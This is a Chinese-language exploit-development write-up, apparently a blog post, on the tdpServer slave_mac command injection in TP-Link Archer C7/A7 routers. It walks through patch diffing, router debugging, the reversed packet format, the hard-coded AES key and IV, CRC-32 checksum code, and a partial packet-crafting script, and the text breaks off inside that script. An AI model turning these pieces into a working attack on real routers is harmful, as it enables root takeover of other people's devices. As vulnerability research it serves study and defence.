环境搭建
调试和分析主要在路由器环境中进行。通过USB-TTL设备获取路由器交互式shell的方法不在本文讨论范围内。OpenWRT提供了相关指南。
代码分析采用二进制差异比较(BinDiff)方法定位漏洞函数。漏洞固件和修补版本可从以下链接下载:
- 修补版本:Archer A7(US)_V5_200220
- 先前版本:Archer C7(US)_V5_190726
注意:Archer C7和A7型号共享大多数二进制文件,因此分析C7或A7固件镜像均可。
二进制差异分析
首先从固件中提取MIPS(大端序)二进制文件并加载到Ghidra中。由于缺乏Ghidra的BinDiff经验,遵循了BinDiffHelper项目的说明,并下载安装了bindiff6。
使用Ghidra和Bindiff后,发现几个相似度极低的函数。追踪这些地址发现,部分实际上是字符串地址。但FUN_00414D14似乎指向一个函数,这可能是漏洞函数。
静态分析
根据ZDI的CVE报告描述,漏洞存在于tdpServer服务中,该服务默认监听UDP端口20002。解析slave_mac参数时,进程在使用用户提供的字符串执行系统调用前未正确验证。攻击者可利用此漏洞以root用户身份执行代码。
从描述中可见,slave_mac参数是关键控制点。反编译发现二进制运行时输出大量详细消息。可通过字符串搜索定位相关代码。
搜索slave_mac得到多个结果。第一个搜索结果中,多处包含slave_mac字符串,这有助于调试围绕slave_mac值的条件。
此处还引用了函数FUN_00414d14,表明这是值得关注的位置。其他函数经Bindiff检测很可能无差异。
字符串"tdpUciInterface.c:644",“About to get slave mac %s info"仅有一个引用地址0x40e7e4,Bindiff显示无变化。
字符串Failed tdp_onemesh_slave_mac_info!与第一个slave_mac字符串位于同一函数FUN_00414d14中。
最后一个字符串slave_mac_info未找到函数引用。
寻找system()调用
根据CVE描述,涉及系统调用,很可能指system()函数调用而非直接内核系统调用。目标是寻找攻击者可能控制的参数调用。
幸运的是,有一个看起来很有希望的调用。在函数中,看到多个调用者。具体地,FUN_00414d14中有至少3个system调用,使此函数非常有趣。
根据Bindiff,仅0x411790和0x414d14有变化。但在函数0x411790中无法控制,故非目标漏洞点。
这意味着已缩小范围至函数0x414d14。在三个system函数中,有一个有趣的调用,其参数非硬编码:
1
2
3
|
snprintf(interesting_acStack7432,0x1ff,
"lua -e \'require(\"luci.controller.admin.onenmesh\").sync_wifi_specified({mac=\"%s\"})\'"
, to_be_controlled_acStack4248);
|
漏洞利用
在漏洞函数中,参数可通过slave_mac值控制,路由器解析JSON负载时几乎无检查。这意味着若可构造有效负载,最终可控制传递给system()的内容。
分析后可进行以下步骤:
- 设置MIPS大端序GDB服务器
- 测试连接到tdpServer
- 负载构造
- 完整漏洞利用
设置GDB服务器
获取路由器交互式shell后,可在机器上设置HTTP服务器传输gdbserver.mipsbe到路由器,以便从机器调试。
设置gdbserver,在目标路由器上使用以下命令:
1
2
3
|
$ wget http://<machine-ip>/gdbserver.mipsbe
$ chmod +x gdbserver.mipsbe
$ ./gdbserver.mipsbe 0.0.0.0:8908 /usr/bin/tdpServer
|
这将使路由器在指定端口监听调试。
在机器上,确保安装gdb-multiarch,并设置架构为“mips”和端序为大端:
1
2
3
4
|
gdb-multiarch
...
gef➤ set arch mips
gef➤ set endian big
|
测试连接到tdpServer
确保路由器管理门户中的操作模式设置为“路由器”。
可通过UDP发送数据包连接到tdpServer。
编写Python脚本通过UDP端口20002发送数据:
1
2
3
4
5
6
|
import socket
IP="192.168.0.254"
PORT=20002
addr = (IP,PORT)
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(b'0x01'*16,(IP,PORT))
|
发送后,可见注册的sn和校验和为0x01010101,表明可通过UDP向路由器端口20002发送数据包。输出来自运行进程,非常详细,调试时极有帮助。
稍后通过逆向tdp数据包结构了解此过程。
TDP数据包格式
逆向反编译代码对理解负载数据包格式及处理方式至关重要。有一些检查正在进行。
首先,负载包括16字节数据包头,后跟从设备发送的最大0x410字节JSON负载。
数据包第一个字节指示tdp版本。此固件接受版本1的数据包。还会检查数据包长度,最大长度包括包头为0x410,不少于16字节(包头长度)。
完成这些检查后,计算数据包校验和并与包头中的校验和比较。若校验和正确,负载需使用IV和DecryptKey通过AES_DECRYPT在CBC模式下解密。
显然,256位IV [1234567890abcdef1234567890abcdef] 和 DecryptKey [TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP] 被截断为128位,故仅为1234567890abcdef和TPONEMESH_Kf!xn?。
加密可使用此Python片段完成:
1
2
3
4
5
6
7
8
9
10
11
|
from Crypto.Cipher import AES
decryptKey = "TPONEMESH_Kf!xn?"
ivec = "1234567890abcdef"
BLOCKSIZE = 16
pad = lambda s: s + (BLOCKSIZE - len(s) % BLOCKSIZE) * chr(BLOCKSIZE - len(s) % BLOCKSIZE)
unpad = lambda s : s[:-ord(s[len(s)-1:])]
def AESEncrypt(payload):
payload = pad(payload)
cipher = AES.new(decryptKey[:16],AES.MODE_CBC,ivec[0:16])
encText = cipher.encrypt(payload)
return encText
|
解密后的负载随后被解析。解析器查找以下字段:
- method
- data
- onemesh.onemesh.group_id
- ip
- slave_mac
- slave_private_account
- slave_private_password
- want_to_join
- model
- product_type
- operation_mode
此处可找到slave_mac字段,即需要控制的内容。
数据包微观结构
设置以下断点帮助调试分析过程中的不同检查点:
1
2
3
4
5
6
7
8
9
10
11
|
set arch mips
set endian big
target remote 192.168.0.254:8899
b*0x0040cfe0
b*0x0040c9d0 # 校验和检查
b*0x0040d04c # 打印长度是否正常
b*0x0040d160 # 超过最大长度时命中,校验和前
b*0x0040d0fc # 校验和失败
b*0x0040d060 # 校验和通过!!
b*0x0040ca24 # 检查数据包中当前校验和
b*0x0040ca5c # 比较当前校验和与计算校验和
|
使用这些引用检查是否在目标函数路径上。
仅发送数据,可见若发送数据长度在有效范围内,将检查位于函数0x0040c9d0的校验和。
需逆向此函数了解其实际行为。
1
|
iVar4 = cmp_new_and_old_checksum_FUN_0040c9d0(recv_buffer,iVar4);
|
在此cmp_new_and_old_checksum_FUN_0040c9d0函数中,计算校验和并与当前校验和比较。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
undefined4 cmp_new_and_old_checksum_FUN_0040c9d0(byte *recvBuffer,int packetLen)
{
byte sn;
int temp;
uint newCheckSum;
char *errorLoc;
char *errorMsg;
uint currChecksum;
if ((recvBuffer != (byte *)0x0) && (temp = hex_0x410_FUN_0040d608(), packetLen <= temp)) // 检查长度范围
{
temp = check_if_first_byte_is_one_FUN_0040d644((uint)*recvBuffer);
if (temp == 0) { // 首字节不能为0,否则版本错误
currChecksum = (uint)*recvBuffer;
errorLoc = "tdpdServer.c:591";
errorMsg = "TDP version=%x";
}
else {
currChecksum = *(uint *)(recvBuffer + 0xc); // 结构字段校验和
*(undefined4 *)(recvBuffer + 0xc) = 0x5a6b7c8d; // 替换为魔术校验和
newCheckSum = calculate_new_checksum_FUN_004037f0(recvBuffer,packetLen);
MessagePrint("tdpdServer.c:599","TDP curCheckSum=%x; newCheckSum=%x",currChecksum,newCheckSum); // 非常有用的调试消息
if (currChecksum == newCheckSum) {
*(uint *)(recvBuffer + 0xc) = currChecksum;
if ((uint)*(ushort *)(recvBuffer + 4) + 0x10 == packetLen) {
sn = recvBuffer[1];
if ((sn == 0) || (sn == 0xf0)) {
MessagePrint("tdpdServer.c:643","TDP sn=%x",*(undefined4 *)(recvBuffer + 8));
return 0;
}
errorLoc = "tdpdServer.c:634";
errorMsg = "TDP error reserved=%x";
currChecksum = (uint)sn;
}
else {
errorLoc = "tdpdServer.c:611";
errorMsg = "TDP pkt has no payload. payloadlength=%x";
currChecksum = (uint)*(ushort *)(recvBuffer + 4);
}
}
else {
errorLoc = "tdpdServer.c:602";
errorMsg = "TDP error checksum=%x";
}
}
MessagePrint(errorLoc,errorMsg,currChecksum);
}
return 0xffffffff;
}
|
此处再次检查数据包长度确保在有效范围内。确认后,检查缓冲区非空。确认后,检查首字节是否为1。事实证明,tdpServer有不同版本,此版本仅支持首字节值为0x1的数据包数据。
路由器存储数据包给出的校验和(oldChecksum),然后将数据包中的校验和字段替换为常数值0x5a6b7c8d。随后通过函数calculate_new_checksum_FUN_004037f0基于recvbuffer计算更新校验和。比较oldChecksum和更新校验和。若不同则失败,继续监听更多信息的循环。若校验和相同,则将校验和替换回数据结构。再次重新验证数据包大小防止溢出。最后,解密负载并解析JSON负载。
注意,还获取索引1的值(recvBuffer[1])并检查是否为0或0xF0。此漏洞利用需为0xF0,以便进入检查标志的switch case。可见漏洞代码在switch case语句内。需switch case为7进入case 6。
函数相关部分:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
if ((recv_buffer->zeroOrFZero == 0xf0) /* 需为0xF0 */ && (DAT_0042f0f0 == '\x01')) {
if ((recv_buffer != (tdpPacketStruct *)0x0) &&
(((memsettedBuffer != 0 && (param_4 != (int *)0x0)) &&
(packetLen = FUN_0040e074(local_c8,numOfBytes), packetLen == 0)))) {
MessagePrint("tdpdServer.c:883","recv ip is %x, my ip is %x",param_5,local_c8[0]);
if (param_5 == local_c8[0]) {
MessagePrint("tdpdServer.c:886","Ignore onemesh tdp packet to myself...");
}
else {
MessagePrint("tdpdServer.c:890","opcode %x, flags %x",(uint)recv_buffer->opcode,
(uint)recv_buffer->flag);
switch((uint)recv_buffer->opcode - 1 & 0xffff) {
...
case 6: //switch((uint)recv_buffer->opcode - 1 & 0xffff)故6 + 1 = 7
if ((recv_buffer->flag & 1) == 0) {
pcVar6 = "tdpdServer.c:958";
pcVar7 = "Invalid flags";
}
else {
packetLen = target_function_FUN_00414d14(recv_buffer,numOfBytes,memsettedBuffer,param_4,param_5);
if (-1 < packetLen) {
return 0;
}
pcVar6 = "tdpdServer.c:952";
pcVar7 = "error processing slave_key_offer request...";
}
|
借助有用的调试消息,发现数据包头包含以下结构:
1
2
3
4
5
6
7
8
9
|
struct tdpPacket {
char tdpVersion; // calc_checksum_FUN_0040c9d0
char zeroOrFZero; // 需0xf0进入目标漏洞函数 //function_accepting_packet_to_target_function_0040cfe0
unsigned short packetLength; // checks_max_length_FUN_0040d620
byte flag; //function_accepting_packet_to_target_function_0040cfe0
char unknown;
unsigned int sn; // calc_checksum_FUN_0040c9d0; 类似序列号
unsigned int magicOrChecksum; // calc_checksum_FUN_0040c9d0; 计算前硬编码值0x5a6b7c8d,后替换为新计算校验和
char data[0x400]; // JSON数据
|
计算校验和
查看用于计算校验和的反编译算法。校验和基于整个数据包计算,包括包头和内容。所有字节与表进行异或操作并进行额外算术运算。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
uint calculate_new_checksum_FUN_004037f0(byte *recvBuffer,int packetLen)
{
byte curr_packet_byte;
uint result;
byte *pbVar1;
result = 0;
if ((recvBuffer != (byte *)0x0) && (packetLen != 0)) {
pbVar1 = recvBuffer + packetLen;
result = 0xffffffff;
while (recvBuffer < pbVar1) {
curr_packet_byte = *recvBuffer;
recvBuffer = recvBuffer + 1;
// byte_data_DAT_00416e90有0x400字节数据
result = *(uint *)(&byte_data_DAT_00416e90 + ((curr_packet_byte ^ result) & 0xff) * 4) ^ result >> 8;
}
result = ~result;
}
return result;
}
|
由于较短,可快速转换为Python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
checksumTable = [0x00,0x00,0x00,0x00,0x77,0x07,0x30,0x96,0xee,0x0e,.........,0xef,0x8d]
def calcChecksum(packet):
result = 0xffffffff
for i in range(len(packet)):
currChar = packet[i]
temp1 = ((ord(currChar)^result)&0xff) * 4
temp2 = ((checksumTable[temp1])&0xff)<<24
temp2 |= ((checksumTable[temp1+1])&0xff)<<16
temp2 |= ((checksumTable[temp1+2])&0xff)<< 8
temp2 |= ((checksumTable[temp1+3])&0xff)
temp3 = result>>8
result = temp2^temp3
result = result ^ 0xffffffff
print("==> Calculated checksum : " + hex(result))
return result
|
后来发现实际上是CRC-32算法,故现在计算校验和更容易。
1
2
3
4
|
def calcChecksum(packet):
result = zlib.crc32(packet.encode())
print("==> Calculated checksum : " + hex(result))
return result
|
构造数据包
这是一个测试脚本,加密并发送数据包中的数据。
1
2
3
4
5
6
7
8
9
10
|
def craftPacket():
# 基于逆向的tdpPacket返回构造的数据包
testEnc = "AAAABBBB"
ct = AESEncrypt(testEnc)
print("LENGTH : " + str(len(ct)))
packet = "\x01"
packet += "\xf0" # 需此值进入漏洞相同分支
packet += "\x00\x07" # 进入switch case 6,但选择是x - 1,故需7得6以触发漏洞
packet += "\x00\x10"# 16,因为每个块大小为16
packet += "\x01"
|